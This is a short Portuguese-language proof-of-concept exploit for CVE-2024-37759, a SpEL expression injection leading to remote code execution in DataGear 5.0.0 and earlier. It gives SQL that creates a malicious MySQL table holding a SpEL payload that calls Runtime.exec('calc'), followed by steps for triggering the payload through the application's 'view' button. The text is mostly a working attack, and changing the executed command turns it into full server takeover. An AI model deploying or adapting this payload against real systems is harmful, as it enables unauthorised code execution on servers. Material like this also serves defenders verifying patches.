CVE-2024-37759 PoC

Descrição

O DataGear versão 5.0.0 e anteriores possui uma vulnerabilidade de injeção de expressão SpEL que leva à execução remota de código.

Exploit

Detalhes da exploração da CVE

Ao solicitar a interface /data/{schemaId}/{tableName}/view, se a tabela do banco de dados não tiver uma chave primária, um atacante pode injetar uma expressão SpEL maliciosa no campo data. Quando o botão "view" é clicado, a expressão SpEL será executada.

Para executar o ataque, você pode criar uma tabela de banco de dados maliciosa assim:

CREATE DATABASE evil;

CREATE TABLE `evil` (
  `name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");

Em seguida, faça login e adicione este banco de dados MySQL na interface de adição de schema: . Clique no botão "view" logo depois, e a expressão SpEL será executada.